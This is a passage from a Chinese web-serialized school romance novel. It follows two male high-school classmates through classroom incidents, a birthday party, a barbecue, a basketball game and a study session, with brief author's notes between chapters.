“本来想怼,”江淮凑他耳边轻声说:“但某人说要顾及老师颜面。” 楚明:“……” 某得太有针对性了。 七八九十分钟左右后吧,跑操结束。 两人混进病残弱队伍回到教学楼。 之后的课堂出奇的平静, 包括才激烈不久的政治课。 上周cue过江淮的黄皮旺仔看着成绩单上他那栏高于平均分的政治73分, 没有再召唤找差生起来划重点的传统环节。 而是开始抓那些本身有水平但考得不佳的同学起来勾画。 要放晚时赵逵逵主动约饭。 说食堂今天限时出售刀削面,能吃可吃贼好吃! 但三人走到教学楼楼下赵逵逵便转向校门那边,踏步走了几步见江淮楚明沉默地跟上来, 一不问二不疑的,不禁回退一步:“你俩不好奇我给你俩带哪去?” 江淮无所谓:“他也认路。” 赵逵逵看了眼他口中的“他”,摊牌:“行吧行吧, 我朋友给我偷渡来一些炒河粉, 就想着一起吃呗。” 他口中的偷渡毫无艺术成分。 “爸!”赵逵逵隔着格挡门喊他戴着口罩穿着大裤衩的朋友,“老师说你给我送衣服了?” 保安大叔眯起眼睛将信将疑地打量那位爸爸。 ……两份河粉最终曲折离奇地进到赵逵逵手中。 坐到操场看台顶上,赵逵逵把其中一盒并上筷子交给江淮:“本来还有一份, 但他说三份太难运, 你俩将就着吧。” 江淮连盒带筷递给楚明:“学校还管这个?” “你以为, ”赵逵逵暴力拆盒:“住校生饭钱都是固定的, 去吃不去吃都自动扣费, 就是为了养自家的食堂。外卖自带都不让……走读生在这块还是自由些,不像我们可怜的住校生。” 楚明温柔地抠开塑料盖,撕开筷套递给江淮。 “嗯……”赵逵逵囫囵掉满嘴的河粉,乱摸一通忽然拧眉:“我靠, 刚还有双筷子呢?” “没事,”江淮收回要接的手,看着楚明:“你先吃着。” 楚明也没客气,齐好筷子挑了根河粉尝味道。 挺有锅气。 他埋头继续挑着吃。 “行吧你俩关系好,”赵逵逵狗刨地式吃完整盒,忽地凑近些说:“那什么,上午的事你别放心上。” “什么事?”江淮偏眸看着楚明认真在吃,肚里的谗虫被勾得翻了十几个跟头。 “就林丘呗,”赵逵逵说:“我是不是提过他喜欢cue人,但没告诉你他喜欢站队。就纯看前排那十几个人的想法,上课就跟打榜积人气似的。” 江淮轻挑了下眉。 “要不然他上课热闹啊,追逐八卦之光是人类本性。”赵逵逵说。 江淮微微后仰,手心撑到台梯阶面,懒声:“谢谢提醒。” “应该的应该的,兄弟嘛。”赵逵逵把食盒投进旁边垃圾桶,收拾一番后说:“我去跟下面练田径的兄弟聊聊,你俩慢吃。” 江淮回应了声:“嗯。” 晚间时候日落日沉,散步走路训练的全涌来了。 赵逵逵坐到草坪上,抬手打了个招呼后就看着跑道上正踩起跑器的人,咻~的一声,像颗子弹似的就ber了出去。 江淮从子弹身上收走视线,侧过身看着楚明慢条斯理地吃。 “好吃吗?”他盯着楚明油光润泽的唇问。 “还行,”楚明正巧挑起一筷子新的,琢磨半秒后说。 江淮眼皮轻抬,看了他一眼,往前探身直接咬走那一口。 楚明:“……” 他没忍住:“你手断了吗?” “操,”江淮听得想笑,又顾念着嘴里有食,偏头快速嚼完才扭回来,说:“你说话真他妈劲。” 楚明别开脸,连盒带筷塞他手心里:“吃吧,要凉了。” 江淮双腿岔开些许,手肘撑在膝头挑了两筷子。 不知道是不是错觉,这两筷子没刚才那一口十分之一好吃。 太油了,地沟油有那么不值钱当水洒呢……- 作为新上任的语文课代表,楚明得安排周中背诵篇目。 到三楼时见楚明往右边折去,江淮顺手拉住他:“你去哪?” “办公室,”楚明轻巧地拨开他的手。 江淮拱着他胳膊肘往旁边带去:“我一起。” 楚明:“……” 貌似语文办公室总是最清闲养生的。 空调温度冷而不凉,插花盆栽让空气被净化似的,闻着很舒适。 “来了?”卫疏正吃泡面,余光瞥见人影,拿纸擦嘴时抬手把抽屉拉开:“新进的芒果干,拿着吃。” 江淮抽出一包拆开坐到角落椅子上,脚尖轻踮着看楚明的背影。 “谢谢老师。”楚明没拿,合上抽屉时问:“背诵篇目怎么定?” “你看着安排吧,”卫疏说:“这周周考和上周默写范围一样。” 楚明应了声:“嗯。” 转身见江淮后脑勺顶紧白墙、半仰着头在看他,眸光深邃。 楚明默了两秒,走过去摸着他发顶便往下按。 “操——”江淮根本没反应过来,额头就往他大腿根上蹭去。 “怎么了?”卫疏扭过头来,把头甩四十五度找准方位看了一眼后爆发出狂笑:“哈哈哈哈哈哈……” 江淮:“……” 他正要推开楚明站起身,就感觉到楚明几根手指在轻轻扫着他发丝。 而后一阵白灰簌簌地扫落。 “这墙不吃灰。”隔壁桌老师望过来,笑得不来气:“下回来别轻易靠,哈哈哈哈……” “陋室铭,别嫌弃,”隔壁隔壁桌老师捻着鲜花饼就一路笑过来:“小楚你多给他拍两下,别出门让人笑话了。” “好。”楚明拍着拍着手指有些不稳,本来没觉得什么,但想到江淮刚才那个冷酷的表情,他很轻地笑出了声。 江淮:“……” 他用力抓紧楚明的衣摆,以示警告。 半分钟后楚明松手,跟老师们道别后带着江淮出办公室。 “还有没?”江淮想到办公室能发电的笑声声量,伸手反摸到脖颈那块骨头:“衣服上呢?” “没,”楚明扫了一下,笑意零星地碎在眼眸。 “不准笑,”江淮冷声道。 楚明背过他继续笑- 教室这会有一半的人在班。 楚明捻断半截粉笔,在最边上这块黑板简单写好背诵任务,下讲台还没戳开江淮进去,就见今天的值日生陈炜用湿帕子擦干净了他才写的几行字。 黑板那片湿得能透出水色。 “诶?”有同学出声:“刚写的什么啊?” 陈炜没背过身,直接说:“不知道,反正重要的我都留着呢。” 楚明指尖极轻地一捻,没多言,只是拍了下江淮的背。 “进去?”江淮好整以暇地看向他,手臂撑在椅靠上。 楚明抬手按在椅背的左上角:“不然?” “不让,”江淮抬眼,说:“我先看你烧把火。” 楚明:“……”新官上任三把火吗? 他轻抿唇,没有说话。 “怎么,”江淮声音低了些:“你他妈能对我硬气对不了其他人吗?” 楚明眸光微闪,屈指扣在他手背,借撑在椅背上重重俯身,压他耳边说:“让你去写,行吗?” 江淮一时间没有说话。 被迷药蒙住似的,楚明的声音传到耳朵里时,他有片刻的怔愣。 音色偏沉,气息温热,双重感官碰撞出极淡的气息,像湿沉的竹节清香。 再度抬眼时楚明已经退出两步站到过道上,耐心地等着他让开位置。 江淮眯了下眼,起身:“进。” 楚明抬脚跨过座椅往里坐去,摸到笔就见江淮当真上讲台了。 他轻轻叹气。 陈炜见状把湿帕子握得紧了些:“你干嘛?” “长眼睛了就看,”江淮微微倾身捞出截粉笔:“没长眼睛就听。” 陈炜:“……” 黑板湿透之后写字不易显形。 但若是能写下去,黑板自然干透之后,那粉笔字迹就当真是无痛入木三分了。 江淮回忆了遍楚明写着的几篇文言文诗歌,一气呵成写到底。 陈炜看着看着脸色愈发不对:“你——” “不认识吗?”江淮把粉笔残骸捏碎,糊着食指指腹满是粉笔灰。 他在旁边黑板连笔写道:江淮。 陈炜:“……” “这字不重要,”江淮退开一步,“擦吧。” 陈炜咬碎牙齿当调料,给怒火中烧的腹部加了盘菜。 迈着沉重的脚步把那两个字擦掉。 楚明时不时关注着讲台上的进度。 注视着江淮步步走下讲台,他捏着的黑笔来了个利落的连翻。 十多分钟后英语自习课上。 四十多双眼睛死死盯着讲台上白得能入奠的粉笔字,被动地知道了本周语文背诵任务。 “这周任务这么重呢,”杨丽质把待批改作文放到讲台,扭头看着那半板字:“英语课代表学学语文课代表啊,你看这任务通知,连我这种其他科科任老师都一清二楚。” 英语课代表:“……好的。”- 炎夏的余热彻底散落在一场连夜连日的秋雨里。 而大马猴在一个秋雨连绵的清晨回到21班的怀抱。 他稍显憔悴,青黑的胡茬就跟吃墨水了似的,“同学们好久不见。” “好久~不见~”一阵病怏怏骚唧唧的回答。 “下周二月考完就要放几天国庆假,”大马猴坐在讲台上疲态地说。 “要放假了!” “我听理科班的老师说要放4天,嚯嚯嚯!” “几天呀几天呀,这对我很重要……” 大马猴沉重地叹出一口气:“同学们,我想强调的是月考。” 同学们想强调的是:“咦——” “国庆放几天还要等通知,”大马猴说:“先好好准备月考。我不在的这几天听说你们很乖,这么喜欢卫老师吗?” 鸦雀无声。 “……哈哈哈。”大马猴连忙笑着接话:“你们卫老师确实能干。我不多啰嗦,趁开考时间还有几分钟先把书拿出来自己复习,查漏补缺。” 江淮不喜欢跟着一群人临时抱佛脚,嫌挤。 他熟练地以出去找书为理由离开教室,耳里灌入秋雨淅沥,他蹲在书堆前翻出本五三看。 看了两秒才发现这是楚明的,放混了。 他懒得再换,将就着把数学题看下去。 考试铃声前奏开放,教室里徐徐涌出躁动的人流。 楚明习惯性瞥他一眼,见上面字迹是自己的,不禁俯身问:“你干什么?” “没,”江淮合上这本一页十五道题能错十一道的习题册,“略有感叹。” 楚明抽过书,随意翻着看了两页:“嗯?” “感叹有人的努力和成绩居然会成负相关。”江淮啧了一声。 楚明:“……” 他重重合上书,屈膝顶了下江淮的后背:“闭嘴。” 江淮笑得差点仰过去,最后后脑勺靠在楚明腿上才微微收敛。 他借着楚明的手把自己撑起来,说:“我教你吧,要不要?”—— 作者有话说:今天的作者是不是很够意思[星星眼] 第47章 第 47 章 “我招待他。” 像是听到什么趣事, 楚明没忍住唇角勾了一下。 “笑什么?”江淮站直,“有这么高兴?” 楚明:“……” 他没回答,从衣兜里摸出两只笔便错开江淮往考场找去。 江淮啧了声, 齐好笔也往考场去。 国庆假期将近, 远瞻为妙,近看是灾。 因为调休。 周六周考完周天还要上课。 考完教室进行归位。 吱吱咯咯的摩擦声此起彼伏,窗外天色沉得像末日。 “今天雷电雨,回家注意安全。”大马猴略微生疏地说道:“另外还有课代表有什么要交代的吗?” 人头左转转右看看。 骚动里楚明举了下手, 大马猴貌似没注意到这边。 江淮不知道是不是屁股上长跳蚤, 座椅往前擦出“呲儿——”的脆响。 全班的目光无差别扫射过来,看到了楚明举起的手。 大马猴不得不出声问:“呃,卫老师有什么安排?” “赵恩、赵西背诵任务没完成, ”楚明声音平静:“背完再走。” 赵恩:“……” 赵西:“……” “那既然是卫老师交代的,”大马猴顿了一下,说:“那他俩留下来背完再走, 其他人可以回家了, 明早八点到班,闹钟记得设好。” 大扫除结束,教室里的人就基本绝了。 江淮好整以暇地看了眼正专心写题的楚明, 余光掠过时不时往这边射来目光的赵氏二傻。 眉毛扬了扬。 “那个……”赵西避开江淮的目光, 挪到楚明桌前, 小声地说:“楚明, 能通融通融吗?” 楚明抬眼看着他:“不能。” “你——”赵西想吼但留意到旁边八风不动的江淮, 默默咽下这口气,咬牙说:“行,老子背行吧。” 说着他把小红本摊开,重重扣到楚明桌面。 放在桌角的红笔被震得飞了出去。 “古之学者必有师, 师者,所以传道授业解惑者也——” “错了,”楚明淡淡地合拢他的书,“重来。” 赵西:“……” 旁边江淮挑了下眉。 赵西一把把书抽回来摊开看,发现自己多背了个者,气愤得胸腔演奏了一曲安塞腰鼓,他把书扣上吼道:“古之学者必有师……生乎吾前,则其闻道——” 楚明利落合书:“重来。” “我操他妈的之乎者也!”赵西在重来第五六遍的时候彻底怒了。 江淮冷他一眼,他立马就操不动了,开始之乎者也。 旁边赵恩看得目瞪口呆,他看着楚明淡淡飞来的眼神,跟被箭刺穿膀胱了似的忍不住想尿…… 和他初次见到楚明时的感受一模一样。 他连忙把书摊开,叽里咕噜地背。 学校包括高三在内现在都没剩什么学生。 教学楼静得能演恐怖片,21班教室里却还叽喳着。 不知道听完多少遍《师说》,赵氏二傻总算磕磕绊绊地孝敬完韩老先生,长呼气,一副掉了层皮的可怜样。 公报私仇便是这么个用法。 楚明抬起脚尖把躺地上多时的红笔勾到座椅下方,偏头只见江淮趴在桌上,脸朝向他睡着了。 “睡着了?”楚明捞起笔的同时靠近他轻轻问了句。 江淮没什么反应,睡颜安详。 楚明挑起笔飞转着,守着他似的,偏头安心做题- 周考成绩无人关心。 间隔两天便是月考,但在国庆面前,也微不足道。 “五天假,”课上林丘偷偷爆料说:“我听你们班主任说,这是最后一个这么长的国庆假,且放且珍惜。” 课堂氛围前无古人后无来者的火热。 但所谓能量守恒。 临放假前的最后一节课,大马猴说:“三天半的假,别光想着玩,好好学习争取实现弯道超车。” 全班同学就跟光着屁股站在北极冰川上一样:“……” 大扫除结束,见教室里人渐渐地少了,江淮偏过头邀请:“周末来我家?” 楚明愣了下:“嗯?” “教你,”江淮说:“怎么,难道还要我来找你?” “……”楚明果断拒绝:“我假期有事。” 江淮看着他没说话。 楚明没多解释:“再说吧,我确实有事。”- 把厚得能列入禁携名单的假期作业试卷束于高阁,江淮大字摊在床上给自己翻面烙了烙。 心情不是太舒畅。 他坐起来面无表情地戳开手机。 【Cming】那栏毫无动静。 江淮啧了一声:呵,多忙啊。 他正要熄了手机,忽地手心一震。 ……是严越。 【阿越】今晚有个蹭饭机会,来不来? 【狗】? 【阿越】我妈好姐妹的生日,我妈让我多弄点人热热场,你只管吃,甚至都不需要打招呼——其实我主要是看重他们小区后面有个场子,吃完我俩单挑? 【狗】位置。 江淮也只是看重他说的场子才果断答应下来。 心情不好打场球就爽了。 他一个鲤鱼打挺下床。 简单换身休闲上衣,下身套黑色工装裤,随手扣上顶黑色鸭舌帽勾走钥匙便出了门。 严越在小区门口等他。 下出租车,目光落在刻文“城屿·城”上时,江淮顿了一下。 “怎么了?”严越说:“哥们可别告诉我你现在反悔不想去了。” “没。”江淮单手揣兜,指尖轻点:“走。” “我去年来给秦阿姨过过一次生日,”严越按电梯的时候说:“不过当时谈了个男朋友就不太方便带你……” 江淮看着递增的楼层数:“废话不用说。” “你牛逼,”严越笑得嘴抽抽:“我他妈是在跟你聊天。” 江淮:“……” 走出电梯迎面飘着两串彩色气球,两只巧克力色大狗熊各站一边,原地转着圈,指甲里卡着“生日快乐”的小横幅。 “有吃的。”严越熟练地把狗熊肚皮拉出一截,里面装着堆巧克力。 江淮摸出颗费列罗。 后面的客人踮起脚尖瞅了一眼这个操作,嚯地张大了嘴:“萌的嘞!” 几只手掏空了狗熊的肚囊,往里去。 屋里热热闹闹的声响,被一通门墙阻隔得严严实实。 今儿生日的秦阿姨满面红光地笑着招呼完客人朋友,看见两个还穿着校服的孩子便招拢起一堆人说:“你们一群学生正好凑一起,趁开没开饭,可以多交流交流学习……” “啧,”严越小声嘀咕一句:“我说真的,家长的学习热情这么高,实在是比我们学生更适合做学生。” 江淮笑而不语,把鸭舌帽拉下来盖住大半张脸,仰着准备闷觉前说:“吃饭叫我。” “好。”严越熟练地搓了个响指。 屋内拥挤着二十多个人,阿姨们都带着自己的好大儿好大女。 江淮被吵得毫无睡意,耷拉着眼皮漠然地看着自己裤子上一堆链子。 严越戳开一杯奶茶,几口喝完往他身边凑来:“找个清净地儿?” 江淮低声问:“有吗?” “包的,”严越便两腿往旁边甩去,拉了拉笑成花的秦阿姨,问:“阿姨,我和朋友能去找小禾玩会儿吗?” “他家教在呢,”秦阿姨笑了笑:“你俩正巧去跟着学会儿?” 严越:“……” 他只是想要清净而已,不必苦修。 他颓然地缩回上半身,对江淮说:“要清净没有,要学渣命有一条。” 江淮淡淡一笑,懒散地戳开手机,点开跟楚明的聊天界面。 【狗】忙什么呢? 等了十多分钟没等到回复。 江淮摁灭手机:还真在忙…… 半小时后开饭。 餐桌那边的座位秦阿姨自有人选,其余的人基本就去隔壁屋里单独设桌,也还算热闹。 “小禾,吃饭了。”秦阿姨喊着,见小禾出来,轻声说:“把你老师也叫上一起吧,记得把屋里照顾好,别失礼数。” “嗯。”秦禾点了下头。 要开饭时江淮没急着上桌,小声说:“上个厕所。” “我给你占位,”严越默契地说:“吃完就走的位。” 江淮随便打出个手势以作回应,绕开些时不时往他身上扔眼珠子的男生女生,他眉心压了一下,从过道利落转身,曲指叩门。 几乎是指关节叩到门板的同一时间,厕所门从里被拉开。 而后一张熟悉的脸跳出,轰地占据半个视野。 江淮没忍住操了一声。 “你……”门里楚明愣住,手指微微收紧:“怎么在这?” 帽檐挡住少许视线,江淮略微扬起些头,眸光扫过楚明握着的手机,眼皮轻掀:“怎么不回我消息?” 楚明:“……” 他轻顿,摁开手机点了下:“现在回。” 手心轻震,江淮想拉起手机看一眼消息,下一秒手腕就被楚明压住。 江淮挑了下眉:“干什么?” 楚明没说话,抬腿灵活地勾动门大开,手臂发力把江淮往厕所里一带,侧身出去利落拧上门。 关门声轻得恰到好处。 两秒被关进厕所里的江淮:“……?” 他垂眸扫了眼没来得及看的消息。 【Cming】忙着遛狗。 江淮轻顿,抓紧时间尿完立刻追了出去。 回的那句是逗江淮的,怕被逮个正着,楚明快步出去。 只是刚出过道就被秦禾拦下:“小楚哥,留着吃个饭吧。” “不用,”楚明想走,尽量温和地快速回绝:“我回家吃。” “那就拿份礼物,”旁边秦苗走出来,她把捆好蝴蝶结的粉色盒子递给他:“我妈说很喜欢你送的小木雕,我这算是礼尚往来?” 听完她的话,楚明都能感受到江淮的视线落在自己后背上了。 有些无奈地笑了笑。 江淮倚在旁边静静注视着两人谈笑风生。 女朋友吗? 不知道为什么,蹦出这个想法的瞬间,他内心有些不快。 下一秒见楚明双手接过粉盒子,朝着女生浅浅一笑,他几乎是本能作祟地走上前去。 站到楚明身旁。 胳膊与胳膊隔着单薄的衣料贴紧,瞬间像是有极小的电流噗呲炸开,连通着的神经猛地轻颤。 “你朋友吗?”秦苗见状反应过来,笑了笑:“那你们聊会,我去招待客人。” “你忙,”楚明微微颔首,“我招待他。” 好熟络的语气。 江淮听着眉毛轻轻一拧。 秦苗和秦禾朝旁边屋里走去,门轻轻合上,热闹的喧嚣声被隔绝。 江淮垂眸扫了眼他手里捧着的粉嫩的礼物盒,“你要怎么招待我?” “吃完我再请你吃宵夜,或者现在我请你吃,”楚明说:“你选。” 江淮想也没想:“现在。” 简单道别之后楚明带他走进电梯。 两人都没有说话,只是视线相交于一处,静静看着递减的楼层。 走出去之后楚明率先开口:“吃什么?” “烧烤。”江淮不假思索。 还是上次那个烧烤摊。 楚明抽两张纸简单擦拭了下桌椅,微微偏头:“你选。” “啧。”江淮想起第一次请楚明吃烧烤时他那句“老板帮我拿十串素的五串荤的”就觉得逗,径直走到摊面前开始挑串。 楚明单手托腮看了会儿他挺拔的背影。 小吃街烟火气胜,蒸腾着热气和人气儿。 摊车左右各挂一串闪烁着的彩灯,摊车里头正炸着串儿,浓得像雾的水蒸气不断升起。 江淮站在这之中,格外亮眼。 他埋头轻轻一笑,右手曲指叩开啤酒罐,仰头慢喝时没忍住挑了下眉: 很早之前江淮说的下次让他帮选,话里的“下次”还真的落了实际。 倒是挺出乎意料。 “别太辣,”江淮简单交代一句。”好的好的,”老板嘻嘻开始数串算价:“稍等啊。” 夜色渐渐铺开,淡墨般黑得还不透彻。 江淮抬眼时不可避免地扫到旁边座椅上放着的粉色礼物盒,手指交替着敲点着桌面。 什么礼物这么珍视,还要单独有个座位? 他抬手叩开一瓶冰啤,冰气绽开在指尖快速凝出水珠,他仰头闷了一大口。 “干喝啊?”楚明把桌面上小碟花生米推给他。 江淮半掀起眼皮看他一眼:“管得着?” 楚明:“……” 他指尖捻了一下,没多说,伸手抽出一次性筷子撕下包装。 铁盘盛着层叠的烧烤上桌,老板习惯性把手在围腰上搓了搓:“慢吃。” “谢谢,”楚明侧脸轻声。 “不客气,”老板笑了笑,连忙跑去给另一对小年轻递盘:“选啊,随便选。” 这边江淮没什么食欲,空腹喝的那几口酒淋得胃不太舒服。 他抬手跟严越发了个消息。 【狗】在吃,不用管我。 发完他扣下手机,没动筷,只是微微后仰,眼眸锁着楚明。 “怎么,”楚明也跟着停筷,回视过去:“没胃口?” 江淮伸手指了下自己腹部:“满的。” 楚明没反应过来:“啊?” “满肚子疑惑,”江淮收手,说。 楚明:“……” 他抬手捏住啤酒罐,轻轻摇晃着,沉默片刻说:“你问。” 江淮瞥了眼粉色礼盒,不经意地问了句:“你女朋友送的?” 楚明会意,极轻地挑了下眉,原话奉陪:“管得着?” 江淮没了声音,静静看着他—— 作者有话说:放假好啊,给我好好培养培养感情[眼镜] 诶突然发现我这本书好多营养液和评论啊,感谢各位宝贝们[害羞] 第48章 第 48 章 哥们你完事没? 不得不说, 江淮的眼睛静静盯着人看的时候,会有强烈的压迫感。 对视得越久,越感觉那双瞳孔黑沉深邃见不到底。 却又像磁石吸着般让人移不开眼——自甘沉落于他的压迫一般。 楚明倒没感受到多少压迫, 只是感觉江淮沉静的眼神之下还有些情绪。 而这种情绪荡得他心头微微发涩。 啤酒罐被捏得逐渐凹扁, 楚明眼眸轻动,垂眼浅浅喝了一口。 他声音略沉:“不是女朋友。” “哦,”江淮没意识到自己眉毛飞了一下,依旧面无表情地说:“我只是好奇谁会送这样……粉嫩的礼物。” 楚明偏头瞥了眼盒子:“几套卷子, 你想要分你一半。” 江淮淡淡地回应道:“嗯。” 回应完, 江淮饿了。 他嘴角极轻地扬了一下,伸手便给自己喂了串大五花。 嚼着时才注意到手机屏幕被消息打得正亮着。 他点开看了眼。 【阿越】?? 【阿越】什么叫你已经在吃了?哥们你牛逼,你掏人家里厕所。 江淮:“……” 他不争气地被大五花给呛得气管五马分尸。 楚明连忙递上清水。 江淮接过水猛灌两口消解掉那层呛人的劲, 才说了句谢谢。 “嗯。”楚明回应道。 喉咙润得差不多,江淮低眸戳了条消息。 【狗】和楚明出来了- 吃完烧烤喧嚣仍旧,来来往往间人流渐杂。 江淮吃得有些撑, 等楚明付完钱回来, 他借了下他小臂把自己带起来:“陪我散步。” 略湿的气息浮过耳垂薄薄的皮肤,楚明目光微滞:“好。” 并肩走出两步,江淮随意扫了楚明一眼。 见他没再抱着盒子走, 而是拎谁的项上人头一样两指捏着绑带。 他语气轻快:“你说的在忙, 就是忙的这个?” “嗯?”楚明顺着他的目光瞥了眼礼物盒, 说:“没, 我……来做作业。” 江淮停下步子看他:“?” 这话听着确实不太像话。 楚明看着他的眼睛, 小声地凑过去说:“能以后再跟你说吗?” 江淮挑了下眉:“我等着。” 绕出小吃街便进到小区里的长椅坐下。 还有没死的蝉在叫,但已然不是夏天那般肆无忌惮。 等严越的间隙,楚明把盒子拆开,抽出里面三套试卷集, 浅浅翻过后往书包里塞。 “理科的,”江淮手臂撑在他后面的椅靠:“你闲得慌?” 楚明:“……” 他拉上拉链把书包放地上,顺手将纸盒压扁折好递给正巧在垃圾桶旁翻捡纸壳的老大妈。 回来时他坐到江淮旁边,轻声:“我比较喜欢理科。” 江淮拧了下眉:“你不会傻逼到不知道有文理分科这个环节吧?” 楚明轻顿:“……我知道。” “那怎么不选?”江淮指尖点了点空气。 楚明看着挺拔硕大的建筑前黑青的树木,声音很轻:“不小心填错了。” 江淮半秒没犹豫,手腕内侧贴住他后颈,几根手指灵活地扣住他颈侧往自己这边一带。 距离倏忽拉近,楚明上半身几乎是满当当地栽进他怀里。 “要么不说,要么别撒谎。”江淮指腹有规律地点按着他的颈动脉皮肤。 楚明有片刻的怔愣。 时间本来在安静流逝,但江淮简简单单一个问题,却有片刻把他拉回了早已流逝掉的过去。 一段他不太乐意回忆的过去。 他极轻地吐出一口气:江大戳子。 坐得有些不稳,楚明手心撑到他大腿旁边,被他裤子上垂落的长链冰得一颤,稍稍适应后看着长椅上凌乱的纹路。 “八中高一分班有随机性,上期临近期末有分科考试,”楚明说:“我意向填理但运气不行分到文科班,分科考试之后,班主任没准许我的转理申请。” “为什么?”江淮指尖顿住。 楚明浅浅笑了笑:“他觉得我适合文科,成绩会更漂亮些。” 江淮:“……” 他不禁嗤笑一声:“你逗我呢,楚明?” 楚明上半身微微挺直一些,偏头看向他:“嗯?” 江淮没忍住捏了捏他脖颈:“我他妈看过你成绩,漂亮在哪?” 楚明:“……” 江淮微微歪头,指尖挑起他下巴啧了一声:“在脸吗?” “……你别说话,”楚明脸往外偏,挣脱掉他两指的夹扣,清了清犯痒的嗓子,说:“彻底分科之后也没机会再变,理能转文,文不能转理。” 江淮舌尖带过齿尖,又拧了下眉,低眸沉沉地看着楚明不太真切的眼睛。 无意识地轻轻拍了下他侧颈:“你怎么总遇到些傻逼事情。” 楚明看着他笑了笑:“你也是。” 江淮:“……你才是傻逼。” 还想说些什么,江淮感觉裤兜震动了下。 他捞出手机摊在腿上,大大方方地点开。 【阿越】哥们你完事没? 【阿越】提醒一句,我还有十米走到你面前。 江淮看到消息,这才注意到楚明几乎是被揽在自己怀里的,鼻尖离他侧颊也只毫厘之距。 他不动声色地清了清嗓子,松开扣着楚明脖颈的手。 自然而然地说:“等会打球,玩一局吗?” 楚明往长椅旁边挪出些许:“……好。” 严越走过来时手里抱着篮球,目光从他们两人身上扫过,把球抛给楚明:“接着!” 条件反射性地起身抓球,楚明精准扣住飞过来的篮球。 “一起的吧?”严越问了他一句。 楚明没拒绝:“嗯。” “我就知道不需要我再邀请。”严越说着往江淮那边邪笑了一下。 江淮冷他一眼:有病? “楚啊,”严越指了指那边的场地:“你去试试场子,我俩马上到。” 楚明抱着篮球没多言,浅点了下头便到篮球场。 没进场之前便试投了一次。 没中。 他垂眼扫了下自己的手,还带有些从江淮身上顺过来的微微的战栗- “不是,江哥,我真得管你叫哥了。”见楚明走出十几步,严越嗖地一下坐到他旁边。 江淮不解地问:“怎么?” “小区里面那么多大爷大妈散步吹风呢,”严越强行把高音压成激动的低音:“你俩抱在这亲过来啃过去简直有伤风化!” 江淮被他的话敲碎了头盖骨似的整个僵愣住。 好半会儿才找到一丁点脑髓:“什么?” “都兄弟你就不用打马虎眼了,”严越把手机捞出来点开最近拍的视频。 天色暗淡,视频有些模糊,但能看到放大后长椅上贴得极近的两人脑袋挨着脑袋,两颗脑袋还时不时左右前后细微地偏转…… 严越迅速删了视频。 江淮白了他一眼:“角度问题,傻逼。” 严越声音愈发得小:“虽然我数学差分不清角度,但这种事情学渣是可以分得清的,哥们。” “滚蛋,”江淮有些无语:“我他妈但凡亲了会承认,没有的事别他妈扣我身上。” “soga.”严越松下一口气,跟他一起往球场那边走:“哥们我天地可鉴,我下小区第一眼看到的时候心里就在mmp……果然心黄的人看什么都黄。” 江淮啧了声:“转文科吧,学点中特色。” 那个红。 “不过你俩凑那么近干嘛?”严越和他走路尚且隔着两三拳的距离。 “碍着你了?”说完江淮箭步起飞抢夺走楚明的球,轻松砸向篮筐。 楚明撞了下他胳膊:“你投,别跳。” “我有分寸。”江淮开始投篮。 严越眯着眼打量了他们一会儿,简单存疑后飞进场去抢球。 江淮只玩了十多分钟便退到旁边,往自动贩卖机里买了两瓶电解质,边喝边走回场内。 严越和楚明在玩单挑,后者进攻。 目光从前刺交错的步伐缓缓上移,楚明头发稍微有些长了,月光路灯明亮着篮球场,他眉眼、鼻侧隐没在阴影里,看不真切。 楚明球风干脆狠劲,绕开严越的瞬间回步投出,半秒犹豫都没有便直奔篮筐。 江淮挑了下眉,随意坐在地上吨吨地喝水。 想到什么,他摸出手机横屏简单记录了半分钟。 “啊不行了不行了,”严越防守进攻不知道多少次,哈腰摆手:“哥们你体力太牛逼了。” 楚明呼吸粗重,随手抛出篮球砸中篮板以做收场。 “喝水。”江淮把剩了一半的水抛给他。 楚明接住,喘息间隙回应:“谢了。” “江淮你是一点没想着兄弟我啊,”严越瞟了他俩一眼,蠕动着做些拉伸。 “神经,”江淮知道他运动完喝水保准肠胃有事,一般是等他自己缓舒服了才递水,“你他妈喝完拉这儿该谁收拾?” 严越:“……” 他把腿活动开,往这边坐下,拎起江淮放旁边的水抿了一小口:“我知道你意思,但你也不必把话说得如此难听。” 江淮没再回话。 天色不早了,休息得差不多便各回各家各骗各妈。 “有空约球,”严越抱着篮球挥了挥手:“我国庆期间档期充足。” “走你的,”江淮没多言,习惯性跨上楚明的自行车后座:“再见。” 楚明轻轻补充一句:“路上注意安全。” “再见。”严越注视着他俩离开。 自行车平稳地驶入江淮小区,停好,江淮却没急着下去。 楚明指尖拨了下车铃:“嗯?” “上去坐会儿?”江淮抱着他的书包。 楚明顿了下:“……好。” 上楼、开门、换鞋,一系列动作轻车熟路。 等江淮洗澡的间隙,楚明取出两张卷子,都是数学自命题卷,相对适应江淮学习的进度和难度。 差不多过完一遍第一张,浴室水声停了。 半分钟后江淮套着件黑色背心和短裤走了出来,湿得滴水的头发被胡乱抓了一把,他往洗衣机走时朝这边瞥了一眼:“你干嘛呢?” 楚明从他身上挪开视线,说:“看题。” “哦,”江淮走开。 把衣服刺溜扔进洗衣机按开关的时候,江淮脑子被窗口月光晒化了似的,有点懵。 他也不知道自己为什么要把楚明带回家。 没有理由,只是本能动作。 衣服被滚筒翻得昏天黑地,他在嘈杂的声音里有些混沌不清。 操,都怪严越…… 说那么多屁话。 江淮走到客厅,目光落在楚明身上良久:“去书房吧,这样做不舒服。” “嗯?”楚明轻顿:“好。” 等把卷子书包一并转移到书房,楚明看了眼主动往旁边去坐的江淮,轻声:“你做。” “……什么?”江淮有一瞬没反应过来。 楚明让开位置,随便扯了个理由:“我有点累。” 江淮看了他一眼,把毛巾压在湿答答的发顶,从他手心拿走笔,坐到书桌前看题。 楚明垂眼,轻轻碾碎沾在指尖的水珠,俯身帮他摁开台灯。 明黄偏亮的光线洒下来,柔缓着江淮的眉眼鼻唇。 站直时楚明只感觉心头微微一滞,连忙收回落在他身上的目光,说:“和上次的自命题卷同系列,你做着吧。” “你呢?”江淮把前六题轻松扫过,顺手画坐标系的时候偏眸扫他一眼。 “我看你做。”楚明站到他身后。 江淮转了圈笔:“那顺便帮我擦头。” 楚明轻顿:“……你还真不客气。” 话是这么说,他还是垂眸摸向江淮头顶。 手指隔着绵软的布料触碰到发丝,楚明收敛着力道,舒舒柔柔地从脑后那堆头发开始摩擦。 “你用点力,”江淮给卷子折了一道,说。 楚明用了些力,问:“够么?” 江淮面无表情:“没感觉。” “……”楚明无奈地手指收紧,用力搓着:“你是肉做的还是钢筋铸的?” 他妈的力道轻得跟猫爪子在挠人似的,江淮受不了这种软绵绵的调调,抬起左手反着胳膊按到楚明手背,说:“你的手是棉花做的吗?” 